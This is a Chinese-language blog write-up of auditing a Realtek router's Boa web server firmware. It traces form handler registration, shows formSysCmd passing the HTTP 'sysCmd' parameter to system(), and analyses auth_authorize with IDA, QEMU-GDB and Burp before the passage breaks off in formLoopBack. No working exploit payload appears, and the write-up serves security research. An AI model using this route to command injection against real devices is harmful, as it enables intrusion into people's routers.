不是 404 就说明找到表单,随后进入这个分支;但 send_r_request_ok() 后面还会通过函数指针调用具体业务 handler(root_form + 4)。
freeAllTempStr()

freeAllTempStr() 只负责释放临时参数/字符串,暂时不用跟。
所以在函数指针调用完成后,程序继续执行handleForm() 函数的统一清理逻辑。
下面需要确认root_form + 4 实际指向哪个函数。
1
|
(*(void (__fastcall **)(_DWORD *, _DWORD, _DWORD))(root_form + 4))(a1, 0, 0);
|
在 handleForm() 中选中 root_form,按 X 查看交叉引用,确认它在哪里初始化。

点击第一行对全局变量 root_form 本身查看交叉引用:

从这可知handleForm()函数读取全局变量 root_form。
往下看:
1
2
3
4
5
6
7
|
for ( i = *(_DWORD *)root_form;
v40 != strlen(i) || memcmp(v7, i, v40);
i = *(_DWORD *)root_form )
{
root_form = *(_DWORD *)(root_form + 8);
...
}
|
当前确认的是:
- root_form + 0:被当作字符串指针读取
- root_form + 8:被当作下一个节点指针读取
接着看到:
1
2
|
(*(void (__fastcall **)(int, _DWORD, _DWORD))
(root_form + 4))(a1, 0, 0);
|
这说明root_form + 4是被当作函数指针读取并调用的。
对root_form继续用X交叉引用查询:

到这里可知是一共执行过两次交叉引用查询,第一次是对handleform()里的局部变量的交叉引用查询,第二次也就是这一次是全局的查询,还是有区别的。
注意一下哈,这里boaFormDefine+58 sw $v0, (root_form - 0x52C244)($v1)是等价于root_form = v0;的。
boaFormDefine+58:这条指令位于函数起始地址 +0x58;
sw:把一个 32 位值写入内存;
$v0:要写入的值;
(root_form - 0x52C244)($v1):MIPS 的 GP 相对寻址,目标就是全局变量 root_form。
跳转到boaFormDefine函数:


- malloc(12) → 分配 3 个 4 字节字段
- node[0] = a1 → 保存表单名称指针
- node[1] = a2 → 保存表单处理函数地址
- node[2] = 0 → 初始化 next 指针
1
2
3
4
5
6
7
8
9
10
11
|
if (::root_form)
{
while (*(DWORD *)(root_form + 8))
root_form = *(DWORD *)(root_form + 8);
*(DWORD *)(root_form + 8) = root_form_1;
}
else
{
::root_form = (int)root_form_1;
}
|
这说明:第一个节点到全局 root_form,后续节点 →追加到链表尾部。
此时就能回头解释 handleForm():
1
2
|
(*(void (__fastcall **)(_DWORD *, _DWORD, _DWORD))
(root_form + 4))(a1, 0, 0);
|
前面遗留的一些疑惑点解决了,但当前 boaFormDefine() 只知道参数的用途,不知道参数的实际值,比如a1和a2。
要知道 a1 和 a2 分别传入什么,就必须找谁调用了它。因此对 boaFormDefine() 按 X,查哪些函数调用了 boaFormDefine()。
可以看到:

这些不是 256 个不同的调用函数,而是同一个初始化函数,都与rtl8670_AspInit()有关的。
里面连续注册了很多表单,所以不能随便选某一个 jal 来确定目标。
直接在 Functions 窗口进入rtl8670_AspInit()函数就行。

这是 ASP 页面渲染函数注册表,对应网页中的动态标签,当前要找的是同一个 rtl8670_AspInit() 后面的boaFormDefine(...)。
还不少......
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
|
boaFormDefine("formTcpipLanSetup", formTcpipLanSetup);
boaFormDefine("formWanRedirect", formWanRedirect);
boaFormDefine("formStatus_pon", formStatus_pon);
boaFormDefine("formPonStats", formPonStats);
boaFormDefine("formMultiUserLogin", formMultiUserLogin);
boaFormDefine("formgponConf", formgponConf);
boaFormDefine("formTdDeviceInfo", formTdDeviceInfo);
boaFormDefine("ControlUpVersionConf", formContorlUpVersionConf);
boaFormDefine("formMirror", formMirror);
boaFormDefine("formepon_llid_mac_mapping", formepon_llid_mac_mapping);
boaFormDefine("formeponConf", formeponConf);
boaFormDefine("formVlan", formVlan);
boaFormDefine("formOmciInfo", formOmciInfo);
boaFormDefine("formTR069Config", formTR069Config);
boaFormDefine("formTR069CPECert", formTR069CPECert);
boaFormDefine("formTR069CACert", formTR069CACert);
boaFormDefine("formPortFw", formPortFw);
boaFormDefine("formFilter", formFilter);
boaFormDefine("formDMZ", formDMZ);
boaFormDefine("formICMPlimit", formICMPlimit);
boaFormDefine("formPasswordSetup", formPasswordSetup);
boaFormDefine("formUserPasswordSetup", formUserPasswordSetup);
boaFormDefine("formWanUserPasswordSetup", formWanUserPasswordSetup);
boaFormDefine("formAutoLogoutTime", formAutoLogoutTime);
boaFormDefine("formUpload", formUpload);
boaFormDefine("formSaveConfig", formSaveConfig);
boaFormDefine("formSnmpConfig", formSnmpConfig);
boaFormDefine("formRadvdSetup", formRadvdSetup);
boaFormDefine("formDhcpv6Server", formDhcpv6);
boaFormDefine("formStats", formStats);
boaFormDefine("formRconfig", formRconfig);
boaFormDefine("formSysCmd", formSysCmd);
boaFormDefine("formSysLog", formSysLog);
boaFormDefine("formStatus", formStatus);
boaFormDefine("formLANPortStatus", formLANPortStatus);
boaFormDefine("formStatus_ipv6", formStatus_ipv6);
boaFormDefine("formStatusModify", formDate);
boaFormDefine("formWanMode", formWanMode);
boaFormDefine("formWanEth", formEth);
boaFormDefine("formPPPEdit", formPPPEdit);
boaFormDefine("formIPEdit", formIPEdit);
boaFormDefine("formBrEdit", formBrEdit);
boaFormDefine("formBridging", formBridge);
boaFormDefine("formRefleshFdbTbl", formRefleshFdbTbl);
boaFormDefine("formRouting", formRoute);
boaFormDefine("formIPv6EnableDisable", formIPv6EnableDisable);
boaFormDefine("formIPv6Routing", formIPv6Route);
boaFormDefine("formIPv6RefleshRouteTbl", formRefleshRouteTbl);
boaFormDefine("formFilterV6", formFilterV6);
boaFormDefine("formRefleshRouteTbl", formRefleshRouteTbl);
boaFormDefine("formDhcpServer", formDhcpd);
boaFormDefine("formReflashClientTbl", formReflashClientTbl);
boaFormDefine("formDDNS", formDDNS);
boaFormDefine("formDhcrelay", formDhcrelay);
boaFormDefine("formPing", formPing);
boaFormDefine("formTracert", formTracert);
boaFormDefine("formPing6", formPing6);
boaFormDefine("formTracert6", formTracert6);
boaFormDefine("formMcastVlanMapping", formMcastVlanMapping);
boaFormDefine("formLogin", formLogin);
boaFormDefine("formLogout", formLogout);
boaFormDefine("formLoginMultilang", formLoginMultilang);
boaFormDefine("formReboot", formReboot);
boaFormDefine("formDhcpMode", formDhcpMode);
boaFormDefine("formIgmproxy", formIgmproxy);
boaFormDefine("formUpnp", formUpnp);
boaFormDefine("formMLDProxy", formMLDProxy);
boaFormDefine("formMLDSnooping", formMLDSnooping);
boaFormDefine("formRip", formRip);
boaFormDefine("formACL", formACL);
boaFormDefine("formV6ACL", formV6ACL);
boaFormDefine("formmacBase", formmacBase);
boaFormDefine("formURL", formURL);
boaFormDefine("formDOMAINBLK", formDOMAINBLK);
boaFormDefine("formNtp", formNtp);
boaFormDefine("formQosPolicy", formQosPolicy);
boaFormDefine("formQosRule", formQosRule);
boaFormDefine("formQosRuleEdit", formQosRuleEdit);
boaFormDefine("formQosTraffictl", formQosTraffictl);
boaFormDefine("formQosTraffictlEdit", formQosTraffictlEdit);
boaFormDefine("formWlanRedirect", formWlanRedirect);
boaFormDefine("formWlanSetup", formWlanSetup);
boaFormDefine("formWirelessTbl", formWirelessTbl);
boaFormDefine("formWlAc", formWlAc);
boaFormDefine("formAdvanceSetup", formAdvanceSetup);
boaFormDefine("formWlEncrypt", formWlEncrypt);
boaFormDefine("formWlSiteSurvey", formWlSiteSurvey);
boaFormDefine("formWsc", formWsc);
boaFormDefine("formFt", formFt);
boaFormDefine("formMultiAP", formMultiAP);
boaFormDefine("formCountrystr", formCountrystr);
boaFormDefine("formAdvancedPowerManagement", formAdvancedPowerManagement);
boaFormDefine("formBandSteering", formBandSteering);
boaFormDefine("formDiagTest", formDiagTest);
boaFormDefine("formDosCfg", formDosCfg);
boaFormDefine("formWlanMultipleAP", formWlanMultipleAP);
boaFormDefine("formWirelessVAPTbl", formWirelessVAPTbl);
boaFormDefine("formALGOnOff", formALGOnOff);
boaFormDefine("formVOIPOnOff", formVOIPOnOff);
boaFormDefine("formSamba", formSamba);
boaFormDefine("formVersionMod", formVersionMod);
boaFormDefine("formExportOMCIlog", formExportOMCIlog);
boaFormDefine("formImportOMCIShell", formImportOMCIShell);
boaFormDefine("formDdosCfg", formDdosCfg);
boaFormDefine("formLoopBack", formLoopBack);
boaFormDefine("formSetManualInformReport", formSetManualInformReport);
boaFormDefine("formGetManualInformReportStatus", formGetManualInformReportStatus);
boaFormDefine("formSetScheduledReboot", formSetScheduledReboot);
boaFormDefine("formGetScheduledReboot", formGetScheduledReboot);
boaFormDefine("formUploadConfig", formUploadConfig);
boaFormDefine("formnattype", formnattype);
boaFormDefine("formSetChangeRX", formSetChangeRX);
boaFormDefine("formGetChangeRX", formGetChangeRX);
|
112 行是普通直接注册,formRefleshRouteTbl 在代码中出现了 2 次。
一个个枚举?这得测到猴年马月!对每个 boaFormDefine("name", callback) 记录,因为实在太多了,目前我也没有什么好方法,都是靠表单名 → 回调地址 → 是否有输入源 → 是否有危险 sink这样的一个流程走的,筛个七七八八就可以了,应该不会特别难,AI测建议上高性能的API了。
我这里优先是:
formSysCmd
formPing
formTracert
formUpload
formUploadConfig
formReboot
formLoopBack
formSetScheduledReboot
formWanMode
formRouting
也不是乱蒙,是基于函数名称的初筛顺序做的尝试。
从 formSysCmd() 本身就能判断它是高风险候选,字面意思哈,有sys(system,系统的意思)、有Cmd(windows终端的打开指令)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
|
int __fastcall formSysCmd(int a1)
{
int Var; // $s4
const char *v3; // $s3
int v4; // $s1
unsigned int n1280_1; // $s2
int n1280; // $t8
int v7; // $v0
int n1280_2; // $s4
_BYTE *v10; // $v0
int v11; // $v0
_BYTE v12[4096]; // [sp+20h] [-100Ch] BYREF
_BYTE v13[12]; // [sp+1020h] [-Ch] BYREF
if ( first_time == 1 )
{
mib_get(102, v13);
if ( v13[0] == 1 )
dbg_enable = v13[0];
first_time = 0;
}
Var = boaGetVar(a1, "submit-url", "");
v3 = (const char *)boaGetVar(a1, "sysCmd", "");
if ( *(_BYTE *)boaGetVar(a1, "save", "") )
{
*(_DWORD *)(a1 + 64) = 0;
rc4_encry();
boaWrite(a1, "HTTP/1.0 200 OK\n");
boaWrite(a1, "Content-Type: application/octet-stream;\n");
boaWrite(a1, "Content-Disposition: attachment;filename=\"log\" \n");
boaWrite(a1, "Pragma: no-cache\n");
boaWrite(a1, "Cache-Control: no-cache\n");
boaWrite(a1, "\n");
v4 = fopen64("/tmp/log.txt", "r");
fseek(v4, 0, 2);
n1280_1 = ftell(v4);
fseek(v4, 0, 0);
while ( n1280_1 )
{
n1280 = 1280;
if ( n1280_1 < 0x501 )
n1280 = n1280_1;
n1280_2 = n1280;
v7 = fread(v12, 1, n1280, v4);
v12[v7] = 0;
boaWriteDataNonBlock(a1, v12, v7);
n1280_1 -= n1280_2;
}
return fclose(v4);
}
else
{
if ( *v3 )
{
snprintf(v12, 100, "%s 2>&1 > %s", v3, "/tmp/syscmd.log");
system(v12);
}
v10 = (_BYTE *)boaGetVar(a1, "adsldbg", "");
if ( *v10 )
{
v13[0] = *v10 != 48;
if ( !mib_set(102, v13) )
{
v11 = multilang(2019);
strcpy(v12, v11);
}
}
return boaRedirect(a1, Var);
}
}
|
formSysCmd() 中只有 save 为空时才会走命令执行分支:

1
2
3
4
5
6
7
8
|
if (*boaGetVar(a1, "save", ""))
{
// 读取 /tmp/log.txt
}
else
{
// sysCmd → snprintf → system
}
|
需要save 参数为空或未提交、sysCmd 参数非空,程序进入命令执行分支:先通过 snprintf() 将用户输入拼接到命令字符串中,再调用 system() 执行该字符串。至此,sysCmd → system() 的数据流已经确认;但是否能够在未认证状态下到达 formSysCmd(),还需要继续分析上层的 auth_authorize()。
对应:
1
2
3
4
5
|
if (*v3)
{
snprintf(v12, 100, "%s 2>&1 > %s", v3, "/tmp/syscmd.log");
system(v12);
}
|
所以它完成了基本的 source → sink 链:
1
2
3
4
|
v3 = (const char *)boaGetVar(a1, "sysCmd", ""); // HTTP 参数
...
snprintf(v12, 100, "%s 2>&1 > %s", v3, "/tmp/syscmd.log");
system(v12); // 命令执行
|
数据流:
1
2
3
4
5
6
7
8
9
|
POST /boaform/formSysCmd
↓
sysCmd 参数
↓
boaGetVar()
↓
snprintf()
↓
system()
|
此时请求链就是:
1
2
3
4
5
6
7
8
9
10
11
|
read_header()
↓
process_header_end()
↓
auth_authorize()
↓
init_form()
↓
handleForm()
↓
formSysCmd()
|
formSysCmd() 只有在 auth_authorize() 返回成功后才会被调用。接下来需要分析 auth_authorize()函数(之前代审还没留意这个函数,直接跳过了)。
auth_authorize()
这里连着和上一部分的”对formSysCmd的初筛案例“一起的,可以说是和对formSysCmd的初筛一起讲的,顺带分析auth_authorize函数而已。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
|
int __fastcall auth_authorize(int request_ready)
{
_DWORD *v2; // $s3
int v3; // $s0
int v4; // $s5
int v5; // $s4
int n47; // $t8
int v7; // $s4
_DWORD *v9; // $s4
const char *v10; // $v0
const char *v11; // $v0
const char *v12; // $v0
int v13; // $v0
int v14; // $s3
v2 = (_DWORD *)dword_52C230;
v3 = request_ready + 248;
while ( 1 )
{
if ( !v2 )
return 1;
v4 = *v2;
v5 = v2[2];
if ( !memcmp(v3, *v2, v5) )
break;
v2 = (_DWORD *)v2[3];
}
n47 = *(char *)(v4 + v5 - 1);
v7 = request_ready + v5;
if ( n47 == 47 || *(_BYTE *)(v7 + 248) == 47 || !*(_BYTE *)(v7 + 248) )
{
v9 = (_DWORD *)search_login_list(request_ready);
if ( v9 )
{
if ( !is_defined(22)
&& !is_defined(72)
&& !is_defined(48)
&& !is_defined(0)
&& !is_defined(47)
&& !is_defined(25)
&& !is_defined(50)
&& strcmp(v3, "/")
&& !strcmp(*v2, "/")
&& !strcmp(*v9, "index_user.html") )
{
send_r_forbidden(request_ready);
return 0;
}
if ( factoryResetingFlag == 1 && (strstr(v3, ".asp") || strstr(v3, ".html") || strstr(v3, "boaform")) )
{
boaHeader(request_ready);
boaWrite(request_ready, "<META HTTP-EQUIV=Refresh CONTENT=\"60; URL=/status.asp\">\n");
boaWrite(request_ready, "<body><blockquote><h4>\n");
v10 = (const char *)multilang(2945);
boaWrite(request_ready, "%s</h4>\n", v10);
v11 = (const char *)multilang(2946);
boaWrite(request_ready, "%s<br><br>\n", v11);
v12 = (const char *)multilang(2947);
boaWrite(request_ready, "%s\n", v12);
boaWrite(request_ready, "</blockquote></body>");
boaFooter(request_ready);
boaDone(request_ready, 200);
LABEL_51:
req_flush(request_ready);
return 0;
}
directory_index = *v9;
if ( strcmp(v3, "/admin/auto_logout.asp") )
{
if ( !strstr(v3, ".map") )
v9[3] = time_counter;
}
}
else
{
v13 = search_errlog_list(request_ready);
v14 = v13;
if ( v13 && *(int *)(v13 + 4) >= 3 )
{
printf("[%s]%d send_r_forbidden_timeout \n", "auth_authorize", 1418);
send_r_forbidden_timeout(request_ready, *(_DWORD *)(v14 + 8) - time_counter + 60);
return 0;
}
if ( strcmp(v3, "/admin/login.asp") )
{
if ( strncmp(v3, "/graphics/", 10) )
{
if ( strcmp(v3, "/admin/reset.css") )
{
if ( strcmp(v3, "/admin/base.css") )
{
if ( strcmp(v3, "/admin/style.css") )
{
if ( strcmp(v3, "/admin/code.asp") )
{
if ( strcmp(v3, "/admin/md5.js") )
{
if ( strcmp(v3, "/admin/rollups/md5.js") )
{
if ( strcmp(v3, "/admin/php-crypt-md5.js") )
{
if ( strcmp(v3, "/common.js") )
{
if ( strcmp(v3, "/td_feature_user_enum.js") )
{
if ( strcmp(v3, "/admin/code_user.asp") )
{
if ( strcmp(v3, "/boaform/admin/formLogin") )
{
if ( strcmp(v3, "/boaform/admin/formLoginMultilang") )
{
if ( strcmp(v3, "/admin/LoginFiles/realtek.jpg") )
{
if ( strcmp(v3, "/admin/LoginFiles/locker.gif") )
{
directory_index = 0;
if ( strcmp(v3, "/admin/auto_logout.asp") )
{
if ( !strcmp(v3, "/") )
{
boaRedirectTemp(request_ready, "/admin/login.asp");
return 0;
}
*(_DWORD *)(request_ready + 64) = 0;
*(_DWORD *)(request_ready + 72) = 301;
boaWrite(
request_ready,
"<HTML><HEAD><TITLE>Login</TITLE><SCRIPT>top.location.href=\"/admin/login.asp\""
"</SCRIPT></HEAD>\n"
"<BODY></BODY></HTML>\n");
goto LABEL_51;
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
return 1;
}
return 1;
}
|
auth_authorize() 有两层逻辑:
1
2
3
4
5
6
7
8
|
第一层:dword_52C230 认证规则链
├─ URI 前缀匹配 → 继续检查登录会话
└─ 没匹配 → 直接 return 1
第二层:未找到登录会话时的硬编码例外路径
├─ /admin/login.asp
├─ /boaform/admin/formLogin
└─ 其它静态资源
|

这里的 v3 是当前请求 URI,例如:/boaform/formSysCmd;如果此时枚举的是formPing,那就是/boaform/formPing了。
再看认证规则遍历:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
v2 = (_DWORD *)dword_52C230;
while (1)
{
if (!v2)
return 1;
v4 = *v2;
v5 = v2[2];
if (!memcmp(v3, *v2, v5))
break;
v2 = (_DWORD *)v2[3];
}
|
它先用 memcmp() 判断当前 URI 是否匹配某个认证规则前缀。
若整个规则链都没匹配到:
表示该 URI 直接通过认证函数。
下面这段:
1
2
3
|
if (n47 == '/' ||
*(BYTE *)(v7 + 248) == '/' ||
!*(BYTE *)(v7 + 248))
|
这一步是在确认 URI 前缀匹配是否完整,避免把相似前缀误认为同一路径。(可以跳,没啥用)
对于v9:
1
|
v9 = search_login_list(request_ready);
|

v9 != 0:找到登录会话,继续检查;
v9 == 0:没有登录会话,进入未登录分支。
当前数据流应写成:
1
2
3
4
5
|
请求 URI
→ auth_authorize()
→ 匹配认证规则
→ search_login_list()
→ 判断是否存在登录会话
|
下一步进入 search_login_list(request_ready),确认它如何判断登录会话。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
int __fastcall search_login_list(int request_ready)
{
int v1; // $s1
int user_login_list; // $s0
v1 = request_ready + 80;
for ( user_login_list = ::user_login_list;
user_login_list && strcmp(v1, user_login_list + 16);
user_login_list = *(_DWORD *)(user_login_list + 4) )
{
;
}
return user_login_list;
}
|
这个函数逻辑很简单,就是按客户端地址去查找登录会话。
1
|
v1 = request_ready + 80;
|
从 request 结构中取出客户端地址。根据前面 get_sock_request() 的代码,request_ready + 80 保存的是客户端 IP 字符串。
接着:
1
|
user_login_list = ::user_login_list;
|
这是从全局登录会话链表头开始查找。
接着:
1
|
strcmp(v1, user_login_list + 16)
|
这是将当前客户端 IP 与登录链表节点 +16 处保存的 IP 比较。
接着:
1
|
user_login_list = *(DWORD *)(user_login_list + 4)
|
不匹配就沿着节点 +4 的 next 指针继续遍历。
所以结构大致是:登录节点
- +4 → next 节点;
- +16 → 登录客户端 IP。
返回值:
- 返回非 NULL → 找到了同 IP 的登录记录;
- 返回 NULL → 没找到登录记录。
找到同 IP 只能说明存在登录列表记录,不等于已经证明认证成功。还要回到 auth_authorize() 看 v9 != 0 分支如何使用这个节点。
下一步回到 auth_authorize(),从这里继续:
1
2
3
4
5
6
7
8
9
10
|
v9 = search_login_list(request_ready);
if ( v9 )
{
// 已找到登录记录
}
else
{
// 未找到登录记录
}
|
重点分析 v9 == 0 分支。
你在伪代码中会看到一连串路径白名单比较:

其中v3是request_ready + 248,也就是当前请求 URI。
很显然,那10个表单名似乎都不符合路径白名单的比较认证。
分析到这里我有点卡住了,有点触及我Web安全的知识盲点,这里认证白名单列的是:登录页、静态资源、登录接口。
我们刚刚在测的formSysCmd等是是业务表单名,/boaform/formSysCmd是完整URI。
顺着当前代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
v3 = request_ready + 248; // 当前 URI
......
v2 = (_DWORD *)dword_52C230;
while (1)
{
if (!v2)
return 1;
if (!memcmp(v3, *v2, v2[2]))
break;
v2 = (_DWORD *)v2[3];
}
|
dword_52C230认证规则链表头,每个节点保存 URI 前缀,然后通过 +3 继续遍历。
那回到问题本身:/boaform/formSysCmd是否匹配认证规则链?
看回上图和代码块中的代码,得知它做的是前缀匹配。要判断 /boaform/formSysCmd,必须知道 *v2 和 v2[2] 的实际值。
解释起来是模糊的,我来举例子:
| 规则前缀 |
结果 |
| /boaform/ |
匹配 |
| /boaform/formSysCmd |
匹配 |
| /boaform/admin/ |
不匹配 |
| /admin/ |
不匹配 |
那对于"/boaform/formSysCmd"的前 9 个字符 = "/boaform/",到这里先停一会...
auth_add()/dword_52C230 规则链
提前声明:这有部分内容是不通的,是我踩的坑,可以浅浅浏览。
因为v2 = (_DWORD *)dword_52C230;
所以需要X交叉引用查询一下dword_52C230:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
_DWORD *__fastcall auth_add(int a1, int a2)
{
_DWORD *i; // $s0
_DWORD *v5; // $s0
int v6; // $v0
int v7; // $t8
for ( i = (_DWORD *)dword_52C230; ; i = (_DWORD *)i[3] )
{
if ( !i )
{
v5 = (_DWORD *)malloc(16);
v5[1] = fopen64(a2, "rt");
*v5 = strdup(a1);
v6 = strlen(a1);
v7 = dword_52C230;
v5[2] = v6;
dword_52C230 = (int)v5;
v5[3] = v7;
return v5;
}
if ( !strcmp(a1, *i) )
break;
}
return 0;
}
|
但问题是a1和a2不知从哪传进来的,还需要交叉引用找上一个函数:

此时转到了sub_411BD4函数:
1
2
3
4
|
_DWORD *__fastcall sub_411BD4(int a1, int a2)
{
return auth_add(a1, a2);
}
|
继续X引用:

直接跳到数据表了,不是函数调用位置。
1
|
LOAD:00506408 .word auth_add_w
|
到这里我就完全卡死了,因为找不到C伪代码在哪,判断不了/boaform/formSysCmd 是否命中认证规则链。
从小标题“auth_add()/dword_52C230 规则链”到这里,是行不通的,以下才是我认为行得通的法子。
在这卡死后,我倒回头去观察 auth_authorize() 开头的规则遍历:
1
2
3
4
5
6
7
8
9
10
|
v3 = request_ready + 248; // 当前 URI
for (v2 = dword_52C230; v2; v2 = (_DWORD *)v2[3])
{
if (!memcmp(v3, *v2, v2[2]))
break;
}
if (!v2)
return 1; // 没匹配认证规则,直接放行
|
尝试一下动态调试的操作:
-
在 auth_authorize() 函数入口下断点;
-
用一个不带危险参数的最小请求触发:
1
2
3
|
POST /boaform/formSysCmd HTTP/1.0
Host: 127.0.0.1
Content-Length: 0
|
这里就涉及到QEMU-GDB手法了。
有关命中认证规则链的动态调试操作(知难而退)
我这里是wsl2—Ubuntu24.04的环境。
先启动 Boa:
1
2
3
4
5
6
7
|
sudo chroot "$PWD/rootfs_extracted" \
/qemu-mips-static \
-g 1234 \
/bin/boa \
-d \
-p 8080 \
-c /web_home/httpd
|
-g 1234:等待 GDB 连接;
-L rootfs_extracted:使用固件里的 MIPS 动态链接器和库;
rootfs_extracted/bin/boa:运行目标程序。
记住要检查下端口是否被占用!

这个终端停住等待连接是正常的,表示正在等待 HTTP 请求,不要关闭。
接着另开一个 WSL 终端:
1
|
gdb-multiarch ./rootfs_extracted/bin/boa
|

GDB 中开启调试界面:
1
2
3
4
5
6
|
set architecture mips
set endian big
set sysroot /home/expl0rer/iot-debug/rootfs_extracted
set auto-solib-add off
target remote :1234
|
set architecture mips 告诉 GDB,目标程序是 MIPS 架构。 如果不设置,GDB 会按你主机 x86 解析汇编,看到的全是乱码指令。
set endian big 设置字节序为 大端 (big‑endian)。 大部分路由器 MIPS 固件是大端;mipsel 小端固件改成 set endian little。 影响内存、寄存器数据的显示。
set sysroot /home/expl0rer/iot-debug/rootfs_extracted 指定固件解压后的根文件系统路径。 QEMU 远程调试时,GDB 要靠这个路径去找固件里的.so动态库;路径错了共享库符号全部看不到,栈里很多值显示???。
set auto‑solib‑add off 关闭自动加载所有共享库。 如果打开 (on),GDB 一连接 QEMU 就会扫描 sysroot 下全部 so 文件,非常卡顿。 需要看某个库符号的时候手动:sharedlibrary libxxx.so

接着就是下断点:
- break *<auth_authorize地址>
- continue

Burp Repeater 中使用:
1
2
3
4
5
|
POST /boaform/formSysCmd HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Connection: close
|

点击发送,请求发出后,GDB 应停在:Breakpoint ..., 0x00419390
此时Gdb已经有反应了,弹出Gdb界面了。
用指令:x/s $a0+0xf8
- 取寄存器
$a0里面的地址值,向后偏移 0xf8 字节,把该内存位置当作字符串输出。

确认 Burp 发出的这个请求命中了 auth_authorize()。(需要 c 多次是因为浏览器还在自动请求登录页或资源,每个请求都可能经过 auth_authorize(),我这C了3次。)
GDB 命中 auth_authorize @ 0x419390
$a0 + 0xf8 = "/boaform
请求命中了 auth_authorize(),且当前请求 URI 正确”,还不能单独证明“命中了认证规则节点
通过 QEMU-GDB 动态调试确认,发送的 POST /boaform/formSysCmd 请求进入了auth_authorize(),并且请求结构中的 URI 字段确认为 /boaform/formSysCmd。
对于/boaform/formSysCmd 是否命中认证规则链,看auth_authorize()函数内观察:
1
2
3
4
5
6
7
|
v2 = dword_52C230;
for (...; v2; v2 = v2->next)
{
if (!memcmp(uri, v2->path, v2->length))
break;
}
|
至少要确认规则链表头非空、遍历过程中存在匹配节点、匹配节点的规则前缀是什么。
现在要看是否进入 formSysCmd的handler。
还没对formSysCmd进行断点呢:break *0x456578
然后C继续Gdb调试,再用Burpsuite的重发器再一次发包。

禁用前边的断点,然后C到formSysCmd函数的地址处:

你就发现能进入这个本地了:

看到登录界面说明:
- Boa 服务已成功启动,端口
8080 可访问。
- 浏览器请求已经到达 Web 服务。
- 当前请求被认证逻辑拦截,尚未进入需要分析的后台处理流程。
- 之前看到的
$a0+0xf8 为 /boaform/formSysCmd,只说明路由表正在处理该路径,不代表已经进入 0x456578 handler。
回去Burpsuite发送请求,接着让当前请求结束,按Ctrl + C:


在第一个断点这已经得知了这次请求没有进入 formSysCmd handler。

现在就是看第二个断点的命中次数,但我这试了几次发现没啥反应,一直卡着^C的回显,我一直尝试中断,但远程 QEMU 没及时响应。
在这里,已经知道:
- auth_authorize() 命中
- URI = /boaform/formSysCmd
- $v0 = 0
- 0x41591c: bnez $v0, 0x415944
因为 $v0 == 0,所以不跳转走:0x415924 → 0x41593c → 0x4159e0
同时 Burp 返回:
1
2
3
4
|
HTTP/0.9 1337 No response headers received
<HTML><HEAD><TITLE>Login</TITLE><SCRIPT>top.location.href="/admin/login.asp"</SCRIPT></HEAD>
<BODY></BODY></HTML>
|
可判断:未认证请求被拒绝、未进入 formSysCmd handler。
到这里,这一个路径就验证完了,还剩下九个(其实远不止,还有一百多个...):
- formSysCmd(×)
- formPing
- formTracert
- formUpload
- formUploadConfig
- formReboot
- formLoopBack
- formSetScheduledReboot
- formWanMode
- formRouting
代码审计②
这部分开始有一定的正反馈了,看到IOT-PWN的栈溢出漏洞的影子了,但同时需要一定的Web基础,对于纯CTFpwn入手的我有点力不从心,花了一点时间学习Burpsuite的使用。
这太复杂了,我选择停下进度,换另一条路,我多搜索一些危险函数,这时我通过sprintf函数找到一丝丝漏洞线索,IDA视图选项:


看汇编:

对此进行交叉引用找上头调用它的地方。

跳到了formLoopBack函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
|
int __fastcall formLoopBack(int a1)
{
char v2; // $t8
int v3; // $v0
_BYTE *Var; // $v0
int v5; // $v0
_BYTE *v6; // $v0
const char *v7; // $v0
int v8; // $v0
_BYTE *v9; // $v0
_BYTE *v10; // $v0
int i; // $s2
unsigned int n0xFFF; // $v0
__int16 n0xFFF_1; // $s4
int v14; // $v0
_BYTE *v15; // $v0
const char *v17; // $s1
const char *v18; // $v0
char v19[100]; // [sp+18h] [-80h] BYREF
_BYTE v20[8]; // [sp+7Ch] [-1Ch] BYREF
int n300; // [sp+84h] [-14h] BYREF
int n10; // [sp+88h] [-10h] BYREF
__int16 n300_1; // [sp+8Ch] [-Ch] BYREF
__int16 n0xFFF_2; // [sp+90h] [-8h] BYREF
_BYTE v25[6]; // [sp+92h] [-6h] BYREF
n10 = 10;
n300 = 300;
n300_1 = 300;
if ( *(_BYTE *)boaGetVar(a1, "apply", "") )
{
v2 = *(_BYTE *)boaGetVar(a1, "loopbackenable", "");
if ( v2 )
{
v25[0] = v2 - 48;
if ( !mib_set(366, v25) )
{
